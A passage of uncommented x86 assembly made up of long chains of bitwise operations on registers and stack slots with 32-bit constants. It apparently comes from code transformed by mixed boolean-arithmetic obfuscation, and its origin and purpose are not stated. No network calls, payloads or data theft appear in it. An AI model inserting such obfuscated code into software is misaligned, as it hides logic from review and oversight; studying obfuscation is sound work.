or edx, eax
xor edx, 0x2f9c80c3
mov eax, edx
xor eax, ecx
and eax, edx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x20]
and edx, 0xee3fae8e
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x11c05171
or eax, edx
xor eax, 0x213ca6b4
and ecx, 0xcf03083a
or ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], esi
mov eax, esi
not eax
mov dword [ebp - 0x20], eax
and eax, 0x20030
mov edx, esi
and edx, 0xc8010000
or edx, eax
xor edx, 0xc8010000
and esi, 0x700080a
lea eax, [edx + esi]
add eax, 0x304505
mov dword [ebp - 0x2c], eax
and edi, 0xbb4fc67
mov eax, ebx
and eax, 0xf44b0398
or eax, edi
xor eax, 0xc4b7f45d
and ebx, 0xcf03083a
or ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xb8c8ae98
and ebx, 0x47375167
or ebx, edx
mov esi, dword [ebp - 0x14]
mov edx, esi
not edx
mov dword [ebp - 0x34], edx
and esi, 0x515c131b
and edx, 0xaea3ece4
or edx, esi
mov eax, ebx
xor eax, 0x47375167
xor ebx, 0xb8c8ae98
mov edi, ebx
or edi, 0x2a24c80
and edi, 0x2fa5d83
mov esi, eax
and esi, 0x51040218
or esi, edi
or ecx, 0x581103
and ecx, 0x2fa5d83
mov edi, dword [ebp - 0x24]
and edi, 0xac01a064
or edi, ecx
xor edi, edx
xor edi, esi
mov edx, edi
mov ecx, ebx
and ecx, 0xda4106b0
and eax, 0x25bef94f
or eax, ecx
mov ecx, dword [ebp - 0x34]
or ebx, ecx
and ecx, 0xda4106b0
mov esi, ecx
mov ecx, dword [ebp - 0x14]
and ecx, 0x25bef94f
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
not ebx
or ebx, edi
mov edx, dword [ebp - 0x30]
mov eax, edx
not eax
mov esi, dword [ebp - 0x2c]
mov ecx, esi
xor esi, 0x37ccbaca
and esi, eax
xor ecx, 0xc8334535
mov eax, ecx
xor eax, edx
and eax, ecx
and edx, ecx
or edx, esi
or edx, eax
mov eax, edx
not eax
or eax, ebx
not ebx
or ebx, edx
not eax
not ebx
or ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x1c]
mov edx, ebx
xor edx, 0xd3803dc5
and edx, ebx
mov eax, dword [ebp - 0x28]
and eax, 0x82408e7f
and ebx, 0x7dbf7180
or ebx, eax
mov ecx, dword [ebp - 0x20]
and ecx, 0x7fdff417
mov esi, dword [ebp - 0x18]
mov eax, esi
and eax, 0x80200be8
or eax, ecx
xor eax, 0x80200be8
mov ecx, eax
and ecx, 0xd3803dc5
and esi, 0x2c7fc23a
or esi, ecx
mov dword [ebp - 0x18], esi
mov esi, ebx
xor esi, 0x7dbf7180
xor ebx, 0x51c0b3ba
and ebx, esi
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x9da05bb5
and ebx, 0x625fa44a
or ebx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x9da05bb5
and edx, 0x625fa44a
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
xor ecx, dword [ebp - 0x18]
or eax, esi
mov edx, ecx
not edx
mov esi, edx
and esi, 0x8400794f
and ecx, 0x7bff86b0
or ecx, esi
xor ecx, eax
xor ecx, 0x7bff86b0
or edx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and edx, 0x4f84eb7d
and eax, 0xb07b1482
or eax, edx
mov ebx, eax
xor ebx, 0x1002a24
mov esi, dword [ebp - 0x14]
mov ecx, esi
xor ecx, 0xb1a7a2e
and ecx, esi
not esi
mov edx, esi
and edx, 0xb1a7a2e
or ecx, edx
or ebx, 0x14818401
mov edx, eax
xor edx, 0xa0000
and ebx, 0x1591be27
and edx, 0xa0a4008
or edx, ebx
mov edi, eax
xor edi, 0xb07b1482
or esi, edi
or edi, 0x1103a26
xor eax, 0x40040150
and edi, 0x1591be27
and eax, 0xe06401d0
or eax, edi
xor eax, edx
mov edx, eax
xor edx, eax
not edx
and edx, ecx
xor edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xaab609de
and edx, 0x5549f621
or edx, eax
xor edx, esi
xor edx, 0x5549f621
or ecx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov dword [ebp - 0x14], esi
mov eax, esi
and eax, ecx
mov edx, ecx
and edx, 0x5a802ec3
and esi, 0xa57fd13c
or esi, edx
mov edx, eax
mov dword [ebp - 0x18], eax
not eax
mov ebx, eax
mov edi, eax
mov dword [ebp - 0x1c], eax
and ebx, 0x5a802ec3
mov eax, edx
and eax, 0xa57fd13c
or eax, ebx
xor eax, esi
mov ebx, ecx
or ebx, edi
not ebx
or ebx, eax
mov esi, ebx
xor esi, 0xcf906b18
and esi, ebx
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0x306f94e7
mov edx, ecx
and edx, 0xcf906b18
or edx, eax
mov ebx, edx
xor ebx, edi
and ebx, edx
mov eax, ebx
not eax
mov edx, esi
xor edx, eax
and eax, 0x1a9cd165
and ebx, 0xe5632e9a
or ebx, eax
and edx, esi
mov eax, ebx
xor eax, esi
xor eax, 0x1a9cd165
or eax, edx
mov ebx, eax
not ebx
mov esi, eax
xor esi, 0xcf906b18
and esi, eax
or eax, 0x306f94e7
mov edx, eax
and eax, 0x606f7ff
and ebx, 0xc9900800
or ebx, eax
mov eax, esi
not eax
or edx, eax
and eax, 0x606f7ff
and esi, 0xf9f90800
or esi, eax
xor esi, ebx
not edx
or edx, esi
mov dword [ebp - 0x20], edx
mov esi, edx
not esi
mov eax, esi
mov ebx, esi
mov dword [ebp - 0x24], esi
and eax, 0x5e568180
mov esi, edx
and esi, 0x884419
or esi, eax
xor esi, 0x884419
mov edi, edx
xor edi, 0x5edec599
and edi, edx
or edi, esi
mov eax, dword [ebp - 0x14]
and eax, 0x21097634
and ecx, 0xdef689cb
or ecx, eax
mov esi, ecx
xor esi, 0x4cf480c0
xor ecx, 0x21097634
mov eax, ecx
and eax, 0x9303493f
and esi, 0x6cfcb6c0
or esi, eax
mov eax, dword [ebp - 0x1c]
or ecx, eax
and eax, 0x9303493f
mov edx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x6cfcb6c0
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
or eax, 0xa1213a66
mov edx, eax
not edx
or ecx, 0xe1e81a63
and ecx, 0xe9ec1a73
mov esi, edx
and edx, 0x4016088
or edx, ecx
or esi, 0x9041250
and esi, 0xe9ec1a73
and eax, 0x12128504
or eax, esi
mov ecx, edi
not ecx
or ecx, ebx
mov dword [ebp - 0x14], ecx
xor eax, edx
mov edi, ecx
not edi
and ecx, 0x7809411c
mov esi, edi
and esi, 0x87f6bee3
or esi, ecx
mov ecx, esi
xor ecx, 0x800040
xor esi, 0x50014108
mov edx, esi
mov ebx, esi
or edx, 0x8201012
and edx, 0x5a3255ba
and ecx, 0x810040
or ecx, edx
mov edx, dword [ebp - 0x14]
xor edx, 0xad6cba17
and edx, edi
mov esi, edx
not esi
or ebx, esi
and esi, 0x5a3255ba
and edx, 0xa5cdaa45
or edx, esi
xor edx, ecx
not ebx
or ebx, edx
not edx
and edx, 0xad6cba17
and ebx, 0x529345e8
or ebx, edx
mov esi, eax
xor esi, 0xf2fa8d27
xor eax, 0xd0572d8
mov edx, eax
and edx, 0x3546c90f
mov ecx, esi
and ecx, 0xcab936f0
or ecx, edx
mov edx, ecx
xor edx, 0x42312470
xor ecx, 0x1100490b
and ecx, 0x99885b8b
and edx, 0x6677a474
or edx, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
not ecx
mov edx, ecx
mov ecx, ebx
and ecx, 0x3eb21ad1
mov ebx, edx
mov dword [ebp - 0x18], edx
and edx, 0xc14de52e
or edx, ecx
xor edx, 0x9ee82869
and ebx, 0xa05a32b8
or ebx, edx
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 0x9a05eabc
and edi, 0x65fa1543
or edi, ecx
xor edi, 0xc5a027fb
xor ebx, edi
and ebx, edi
mov ecx, dword [ebp - 0x1c]
mov edx, ecx
xor edx, 0x99885b8b
mov dword [ebp - 0x2c], edx
mov edi, ecx
xor edi, 0x6677a474
mov dword [ebp - 0x30], edi
mov ecx, edx
and ecx, 0xc36807db
mov edx, edi
and edx, 0x3c97f824
or edx, ecx
xor edx, 0x63323563
and edi, 0xa05a32b8
or edi, edx
mov dword [ebp - 0x34], edi
and eax, 0xd2809f5d
and esi, 0x2d7f60a2
or esi, eax
mov ecx, esi
xor ecx, 0x2d7f60a2
xor esi, 0x280035d
and esi, 0x2bc23dd
mov eax, ecx
and eax, 0xfd43dc22
or eax, esi
xor eax, 0x5d19ee9a
and ecx, 0x5fa5cd47
or ecx, eax
mov edx, dword [ebp - 0x38]
mov esi, edx
not esi
mov dword [ebp - 0x14], esi
and edx, 0x7268d3f9
and esi, 0x8d972c06
or esi, edx
xor esi, 0x8d972c06
mov eax, ebx
xor eax, 0xa63f75f7
mov edi, eax
and eax, ebx
not ebx
and edi, ebx
or ebx, esi
and esi, 0xa63f75f7
mov edx, dword [ebp - 0x14]
and edx, 0x59c08a08
or edx, esi
mov dword [ebp - 0x14], edx
mov esi, edi
not esi
mov edx, esi
and edx, 0xf03b821f
and edi, 0xfc47de0
or edi, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xf03b821f
and eax, 0xfc47de0
or eax, edx
xor eax, edi
not esi
or esi, eax
xor esi, dword [ebp - 0x14]
mov eax, esi
not eax
mov edx, eax
and edx, 0x6bdae18b
and esi, 0x94251e74
or esi, edx
xor esi, ebx
or eax, ebx
xor esi, 0x94251e74
not eax
or eax, esi
mov edx, ecx
not edx
mov esi, dword [ebp - 0x34]
and edx, esi
not esi
mov edi, esi
xor edi, ecx
and edi, esi
and ecx, esi
or ecx, edx
or ecx, edi
not eax
mov esi, ecx
not esi
mov edx, esi
xor edx, eax
and edx, ecx
and esi, 0x66a98234
and ecx, 0x99567dcb
or ecx, esi
xor ecx, 0x66a98234
or ecx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0xc865699
and edx, 0xf379a966
or edx, eax
xor edx, ecx
or esi, ecx
xor edx, 0xf379a966
not esi
or esi, edx
mov dword [ebp - 0x14], esi
mov edi, dword [ebp - 0x1c]
xor edi, 0xc91d01a0
mov ecx, dword [ebp - 0x2c]
and edi, ecx
mov eax, dword [ebp - 0x30]
and eax, 0x3951f75f
and ecx, 0xc6ae08a0
or ecx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x50955a2b
mov ebx, dword [ebp - 0x28]
mov edx, ebx
and edx, 0xaf6aa5d4
or edx, eax
mov eax, ecx
xor eax, 0xc6ae08a0
mov esi, eax
and esi, 0x50955a2b
or edi, esi
xor edi, edx
mov edx, ebx
and edx, 0x5073222d
mov esi, dword [ebp - 0x18]
and esi, 0xaf8cddd2
or esi, edx
xor ecx, 0x3951f75f
or ebx, ecx
and ecx, 0x5073222d
and eax, 0xaf8cddd2
or eax, ecx
xor eax, esi
not ebx
or ebx, eax
not ebx
or ebx, edi
mov ecx, ebx
not ecx
mov edx, dword [ebp - 0x14]
mov eax, edx
xor eax, ebx
and ebx, 0xf1ed9738
and ecx, 0xe1268c7
or ecx, ebx
and eax, edx
xor ecx, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0xf0dbe4de
and eax, 0xf241b21
or eax, esi
mov esi, ecx
xor esi, 0xf1ed9738
xor ecx, 0xe1268c7
or edx, ecx
and ecx, 0xf0dbe4de
and esi, 0xf241b21
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov edi, edx
not edi
mov eax, edx
and eax, 0xc735d8f9
mov ecx, edi
and ecx, 0x38ca2706
or ecx, eax
mov esi, ecx
xor esi, 0x4614c098
xor ecx, 0x20002206
and ecx, 0xa1213a67
and esi, 0x5edec598
or esi, ecx
mov eax, esi
xor eax, 0xa1213a67
and eax, esi
mov ecx, eax
and edx, 0x2c739226
mov eax, edi
and eax, 0xd38c6dd9
or eax, edx
xor eax, 0x72ad57be
and edi, 0x5edec598
or edi, eax
mov dword [ebp - 0x14], edi
mov edx, ecx
not edx
mov esi, ecx
mov dword [ebp - 0x18], ecx
xor esi, 0x6b7b814d
mov ebx, esi
and ebx, edx
mov edi, ebx
not edi
mov eax, edi
and eax, 0x10d06662
and ebx, 0xef2f999d
or ebx, eax
and esi, ecx
mov eax, esi
not eax
or edi, eax
and eax, 0x10d06662
and esi, 0xef2f999d
or esi, eax
xor esi, ebx
not edi
or edi, esi
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
not ecx
mov esi, ecx
or esi, 0x47230
and esi, 0x2155f331
mov eax, ebx
and eax, 0x4a2a004c
or eax, esi
mov esi, ebx
or esi, 0x21518101
and esi, 0x2155f331
mov ebx, ecx
and ebx, 0x94800c82
or ebx, esi
xor ebx, eax
mov esi, ebx
xor esi, ebx
not esi
and esi, edi
xor esi, ebx
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0x2d28d3a
and edx, 0xfd2d72c5
or edx, eax
or edi, ecx
and ecx, 0x2d28d3a
mov eax, dword [ebp - 0x14]
and eax, 0xfd2d72c5
or eax, ecx
xor eax, edx
mov edx, edi
not edx
or edx, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x59a25a55
and esi, 0xa65da5aa
or esi, eax
xor esi, edx
xor esi, 0xa65da5aa
or ecx, edx
not ecx
or ecx, esi
mov ebx, ecx
mov edx, dword [ebp - 0x24]
mov eax, edx
and eax, 0xa1c2e314
mov esi, dword [ebp - 0x20]
mov ecx, esi
and ecx, 0x5e3d1ceb
or ecx, eax
mov eax, ecx
xor eax, 0x4040800
xor ecx, 0x10
or ecx, 0x1390402
and ecx, 0x41390472
and eax, 0x84442b04
or eax, ecx
mov ecx, edx
or ecx, 0xfffffffe
or edx, 0x40000070
and edx, 0x41390472
and esi, 0x3a82d089
or esi, edx
xor esi, eax
mov eax, esi
xor eax, 0x84040820
xor esi, 0x3bbbd48a
mov edx, ecx
or edx, esi
not edx
and ecx, 0x7979a3d5
and esi, 0x7979a3d5
and eax, 0x86865c2a
or eax, esi
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x8435a18
and ecx, 0x8d5b7f5d
mov esi, edx
and esi, 0x32000000
or esi, ecx
mov edi, edx
or edi, 0x85182545
and edi, 0x8d5b7f5d
mov ecx, eax
and ecx, 0x40a480a2
or ecx, edi
xor ecx, esi
mov esi, ecx
xor esi, 0x48e7daba
xor ecx, 0x92182404
and esi, 0x65800b79
and ecx, 0x9a7ff486
or ecx, esi
and edx, 0x4f560378
and eax, 0xb0a9fc87
or eax, edx
mov esi, eax
xor esi, 0xb0a9fc87
xor eax, 0x5440030
and eax, 0x5c540b2
mov edi, esi
and edi, 0xfa3abf4d
or edi, eax
mov edx, ecx
xor edx, 0x9a7ff486
xor ecx, 0x65800b79
xor edi, 0xfa3abf4d
or edi, esi
mov esi, edx
xor esi, edi
and esi, edx
xor edx, ecx
and edx, edi
xor edx, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x6b3beaef
and esi, 0x94c41510
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x6b3beaef
and edx, 0x94c41510
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xd7c380b9
mov edx, eax
and edx, 0x283c7f46
or edx, ecx
mov ecx, edx
xor ecx, 0xd7c380b9
xor edx, 0x282c2d40
and esi, 0xe1fc1a4
and eax, 0xf1e03e5b
or eax, esi
mov esi, ecx
and esi, 0x86d0d296
and edx, 0x792f2d69
or edx, esi
mov esi, eax
xor esi, 0x71202c49
xor eax, 0xe1fc1a4
or ecx, eax
and eax, 0x86d0d296
and esi, 0x792f2d69
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov dword [ebp - 0x18], ebx
mov esi, ebx
not esi
mov eax, esi
and eax, 0x3dba0e45
mov edx, ebx
xor edx, 0x3dba0e45
and edx, ebx
or edx, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], ecx
mov eax, ecx
not eax
mov edx, eax
or edx, 0x122808
and edx, 0x1333c2c
mov edi, ecx
and edi, 0x6840040
or edi, edx
mov edx, ecx
xor edx, 0xf85aeb9b
and edx, eax
mov dword [ebp - 0x34], eax
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x1333c2c
and edx, 0xfeccc3d3
or edx, ebx
xor edx, edi
not eax
or eax, edx
not edx
and edx, 0xf85aeb9b
and eax, 0x7a51464
or eax, edx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edi, eax
xor edi, 0x9000
mov ebx, eax
xor ebx, 0x3dba0e45
mov dword [ebp - 0x28], ebx
mov edx, ebx
and edx, 0x2402014
and edi, 0x209000
or edi, edx
xor edi, 0x209000
xor eax, 0x40000022
and eax, 0x70880062
lea edx, [edi + eax]
add eax, edi
add eax, 0x88130b08
mov dword [ebp - 0x14], eax
and esi, 0x85070408
mov eax, dword [ebp - 0x18]
and eax, 0x8104b81
or eax, esi
mov dword [ebp - 0x18], eax
mov eax, ecx
mov dword [ebp - 0x20], ecx
mov edi, ecx
not edi
mov dword [ebp - 0x24], edi
and edi, 0xe174f342
mov esi, ecx
and esi, 0x1e8b0cbd
or esi, edi
mov eax, esi
xor eax, 0x1e8b0cbd
xor esi, 0xc0343340
and esi, 0xdebc336d
mov edi, eax
and edi, 0x2143cc92
or edi, esi
xor edi, 0x53ab7ce4
and eax, 0x8d174f89
or eax, edi
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
and ecx, 0xc2af197e
mov eax, dword [ebp - 0x34]
and eax, 0x3d50e681
or eax, ecx
mov ebx, eax
xor ebx, 0x3d50e681
xor eax, 0xac191a
and eax, 0x25ac9d1a
mov ecx, ebx
and ecx, 0xda5362e5
or ecx, eax
xor ecx, 0x57442d6c
and ebx, 0x72e8b076
or ebx, ecx
mov edi, dword [ebp - 0x14]
mov ecx, edi
xor ecx, 0x8a73bb1c
xor edi, 0x50c04c1
mov dword [ebp - 0x14], edi
and edi, 0xb690000
mov esi, edx
xor esi, 0x71087024
and esi, ecx
and ecx, 0x70008030
or ecx, edi
mov edx, dword [ebp - 0x18]
mov eax, edx
xor eax, 0x8104b81
or eax, 0x72e8b076
mov edi, eax
not edi
and eax, 0x3101c09d
xor edx, 0x8c044408
and edx, edi
and edi, 0x8c160f00
or edi, eax
xor edi, 0xcefe3f62
or dword [ebp - 0x14], edi
and edi, 0x7943c010
or edx, edi
mov eax, ecx
xor eax, 0xb690000
or eax, 0x84943fcf
xor ecx, 0x10020010
mov edi, eax
and edi, 0xe12cb029
and ecx, 0x12420010
or ecx, edi
mov edi, esi
not edi
or eax, edi
and edi, 0xe92df029
and esi, 0x12c00056
or esi, edi
xor esi, ecx
not eax
or eax, esi
xor eax, edx
mov ecx, dword [ebp - 0x14]
not ecx
xor eax, 0x2280020
and ecx, 0x5040481
or ecx, eax
mov edi, ecx
mov edx, dword [ebp - 0x2c]
mov ecx, edx
not ecx
mov eax, ecx
xor eax, ebx
and eax, ecx
and edx, 0x77b57148
and ecx, 0x884a8eb7
or ecx, edx
mov edx, ebx
not edx
and ebx, 0x77b57148
and edx, 0x884a8eb7
or edx, ebx
xor edx, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x6d807bd2
and eax, 0x927f842d
or eax, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x6d807bd2
and edx, 0x927f842d
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, edi
not edx
mov eax, edi
or eax, 0x28010a20
and eax, 0x3c035a22
mov esi, edx
and edx, 0x41f4a589
or edx, eax
or esi, 0x14025002
and esi, 0x3c035a22
and edi, 0x82080054
or edi, esi
mov dword [ebp - 0x14], edi
mov edi, ecx
not edi
mov esi, ecx
xor esi, 0x55f6f58b
and esi, edi
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x3f568062
and esi, 0xc0a97f9d
or esi, ebx
or edi, 0x55f6f58b
or eax, edi
and edi, 0x3f568062
and ecx, 0x80090a14
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
xor eax, edx
xor eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
mov ecx, edi
xor ecx, 0x541b24eb
mov ebx, dword [ebp - 0x28]
and ecx, ebx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x91086080
and ecx, 0x6ef79f7f
or ecx, esi
mov esi, ebx
mov ebx, dword [ebp - 0x24]
or ebx, esi
or esi, 0x965ed551
xor edi, 0x4001002a
or edx, esi
and esi, 0x91086080
and edi, 0x68a10a2e
or edi, esi
mov esi, edi
xor esi, ecx
not edx
or edx, esi
mov esi, dword [ebp - 0x20]
mov ecx, esi
xor ecx, 0x801a8441
xor esi, 0x20012aae
and esi, 0x36457bbe
and ecx, 0xc9ba8441
or ecx, esi
xor ecx, edx
xor ecx, 0x36457bbe
mov esi, ebx
not esi
or esi, ecx
mov ecx, esi
not ecx
mov edx, eax
xor edx, 0xe6d11daa
and edx, eax
mov edi, eax
not edi
mov eax, esi
and eax, 0x36ad7bb1
xor esi, 0x192ee255
and esi, ecx
and ecx, 0xc952844e
or ecx, eax
xor ecx, 0xc952844e
mov eax, edi
and eax, 0xe6d11daa
or edx, eax
or edi, ecx
and ecx, 0xe6d11daa
or esi, ecx
mov eax, esi
xor eax, esi
not eax
and eax, edx
xor eax, esi
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
mov esi, ecx
and eax, 0x68c0c0
mov ecx, edi
mov dword [ebp - 0x14], edi
and ecx, 0x40021631
or ecx, eax
xor ecx, 0x40021631
mov edx, esi
mov dword [ebp - 0x18], esi
and edx, 0xbf95290e
or edx, ecx
mov eax, edx
not eax
and edx, 0x17cd5616
and eax, 0xe832a9e9
or eax, edx
mov edx, eax
xor edx, 0x17844212
xor eax, 0x683088e8
and eax, 0x68799cec
and edx, 0x97866313
or edx, eax
mov ecx, esi
and ecx, 0x511b5178
mov eax, edi
and eax, 0xaee4ae87
or eax, ecx
mov ecx, eax
xor ecx, 0xaee4ae87
xor eax, 0x1091008
and eax, 0x23691a88
mov esi, ecx
and esi, 0xdc96e577
or esi, eax
xor esi, 0xdc96e577
or esi, ecx
mov ecx, edx
xor ecx, 0x84800213
xor edx, 0x68799cec
mov eax, edx
and edx, 0x3b076988
and ecx, 0xc4f89677
or ecx, edx
mov edx, esi
not edx
or eax, esi
and esi, 0x3b076988
and edx, 0xc4f89677
or edx, esi
xor edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xddcde18
and edx, 0xf22321e7
or edx, ecx
xor edx, eax
xor edx, 0xf22321e7
or ebx, eax
not ebx
or ebx, edx
mov eax, ebx
xor eax, 0x24a3f7e6
and eax, ebx
not ebx
and ebx, 0x24a3f7e6
or ebx, eax
not eax
and eax, 0xdb5c0819
and ebx, 0x24a3f7e6
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x7c4158a
mov edi, ebx
and edi, 0xf83bea75
or edi, ecx
mov ecx, edi
xor ecx, 0xf83bea75
mov dword [ebp - 0x1c], ecx
mov esi, edi
xor esi, 0xb9795049
and esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x64314c5e
and esi, 0x9bceb3a1
or esi, ecx
or eax, 0xbebd45c3
or edx, eax
and eax, 0x64314c5e
and ebx, 0x142b220
or ebx, eax
xor ebx, esi
not edx
or edx, ebx
mov eax, edx
xor eax, 0x9aa9a134
xor edx, 0x65565ecb
mov ecx, edx
and ecx, 0xfb343a20
and eax, 0x4cbc5df
or eax, ecx
mov ecx, dword [ebp - 0x1c]
or ecx, 0xdbeb1b08
xor edi, 0x4000482
or edx, ecx
and ecx, 0xfb343a20
and edi, 0x400c4d7
or edi, ecx
xor edi, eax
not edx
or edx, edi
mov esi, edx
not esi
mov eax, esi
and eax, 0xb67cde0f
and esi, edx
and edx, 0x498321f0
or edx, eax
mov eax, edx
xor eax, 0x40032040
xor edx, 0xb67cde0f
mov ecx, edx
and ecx, 0xff89dbb
and eax, 0xf0076244
or eax, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0xff89dbb
and esi, 0xf0076244
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
and ecx, 0x93126569
mov edi, dword [ebp - 0x14]
mov eax, edi
xor eax, 0x93126569
and eax, edi
or eax, ecx
mov esi, eax
xor esi, 0xf86e60
xor eax, 0x87000010
and eax, 0xcf011011
and esi, 0x30feefee
or esi, eax
mov eax, esi
xor eax, 0x2082a422
xor esi, 0xcf011011
mov ecx, esi
and ecx, 0x197c5bdd
and eax, 0xe683a422
or eax, ecx
mov ecx, edi
or esi, edi
and ecx, 0x197c5bdd
mov edi, ecx
mov ecx, ebx
and ecx, 0xe683a422
or ecx, edi
mov edi, edx
not edi
mov dword [ebp - 0x18], edi
xor ecx, eax
not esi
or esi, ecx
mov eax, edi
and eax, 0x8827d543
mov edi, edx
and edi, 0x77d82abc
or edi, eax
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
mov ecx, esi
and ecx, 0xba80a29d
and eax, 0x457f5d62
or eax, ecx
mov ecx, edi
xor ecx, 0x7100888
xor edi, 0x8827d543
mov ebx, edi
and ebx, 0x78eaa275
and ecx, 0x87155d8a
or ecx, ebx
mov ebx, eax
xor ebx, 0x5155d02
xor eax, 0xba80a29d
or edi, eax
and eax, 0x78eaa275
and ebx, 0x87155d8a
or ebx, eax
xor ebx, ecx
not edi
or edi, ebx
mov ebx, edi
mov ecx, dword [ebp - 0x18]
and ecx, 0x50080610
mov eax, edx
and eax, 0x2da2d10e
or eax, ecx
xor eax, 0x2da2d10e
and edx, 0x825528e1
or edx, eax
mov ecx, esi
xor esi, 0x825528e1
mov edi, dword [ebp - 0x14]
and esi, edi
and ecx, 0xdaa430c
and edi, 0x70009412
or edi, ecx
mov ecx, edi
xor ecx, 0x20000410
xor edi, 0x8fff6bed
mov eax, edi
and eax, 0x5b0fd06b
and ecx, 0x24a00714
or ecx, eax
mov eax, esi
not eax
or edi, eax
and eax, 0x5b0fd06b
and esi, 0xa4f02f94
or esi, eax
xor esi, ecx
mov ecx, ebx
not ecx
not edi
or edi, esi
mov esi, edi
xor esi, edi
not esi
and esi, edx
xor esi, edi
mov edx, ebx
and edx, 0x789994d1
xor ebx, 0x60461d1d
and ebx, ecx
mov edi, ecx
and edi, 0x87666b2e
or edi, edx
mov ecx, edi
mov edx, edi
xor edx, 0x189980c0
or edx, 0x60461d1d
xor edi, 0x84206022
mov eax, edx
and eax, 0xb140e44
and edi, 0x94a9e0a2
or edi, eax
mov eax, ebx
not eax
or edx, eax
and eax, 0xb140e44
and ebx, 0xf4ebf1bb
or ebx, eax
xor ecx, 0x87666b2e
xor ebx, edi
mov edi, esi
not edx
or edx, ebx
mov eax, esi
xor eax, 0x9fb9e2e2
and eax, esi
or esi, 0x60461d1d
not edi
mov ebx, esi
and ebx, 0x67730782
or ecx, edi
and edi, 0x9888e060
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x67730782
and eax, 0x988cf87d
or eax, ebx
xor eax, edi
not esi
or esi, eax
xor esi, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0xd07a6675
and esi, 0x2f85998a
or esi, edx
xor esi, ecx
xor esi, 0x2f85998a
or eax, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x63146fa4
mov ecx, edx
and ecx, 0x9ceb905b
or ecx, esi
mov esi, ecx
xor esi, 0x8052
xor ecx, 0x106480
and ecx, 0x4106481
and esi, 0x20048076
or esi, ecx
mov ecx, esi
xor ecx, 0x20048076
xor esi, 0xdffb7f89
mov edi, edx
and edi, 0x2414e4f7
and eax, 0xdbeb1b08
or eax, edi
xor edx, eax
and edx, eax
mov edi, edx
not edi
mov eax, ecx
xor eax, edi
and eax, ecx
and edx, esi
and edi, ecx
or edi, edx
or edi, eax
mov ecx, edi
not ecx
mov eax, edi
mov dword [ebp - 0x18], edi
and eax, 0x62c6829f
mov esi, ecx
and esi, 0x9d397d60
or esi, eax
mov eax, esi
xor eax, 0x62000209
xor esi, 0x10400
and eax, 0x62003a09
and esi, 0x50480
or esi, eax
mov eax, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0x91da4550
and edi, 0x6e25baaf
or edi, eax
mov edx, esi
xor edx, 0x50480
mov dword [ebp - 0x14], edx
xor esi, 0xfffafb7f
mov eax, esi
and eax, 0xcfb2c2d6
and edx, 0x20053c09
or edx, eax
xor edi, 0xc208426
or edi, ecx
mov ecx, edi
not ecx
mov eax, edi
and eax, 0xcfb2c2d6
mov ebx, ecx
and ebx, 0x304d3d29
or ebx, eax
mov eax, ebx
xor eax, ebx
not eax
and eax, edx
xor eax, ebx
mov ebx, dword [ebp - 0x14]
mov edx, ebx
and edx, 0x60043e08
and esi, 0x8be140c5
or esi, edx
or ebx, ecx
mov edx, ebx
and ecx, 0x741ebf3a
and edi, 0x8be140c5
or edi, ecx
xor edi, esi
not edx
or edx, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x1d7d1c0c
mov edi, edx
and edi, 0xe282e3f3
or edi, ecx
mov esi, edi
xor esi, 0x40002000
xor edi, 0x40800
or edi, 0x8c2a0072
and edi, 0xae2e0af3
and esi, 0x40013408
or esi, edi
or eax, 0x22040a81
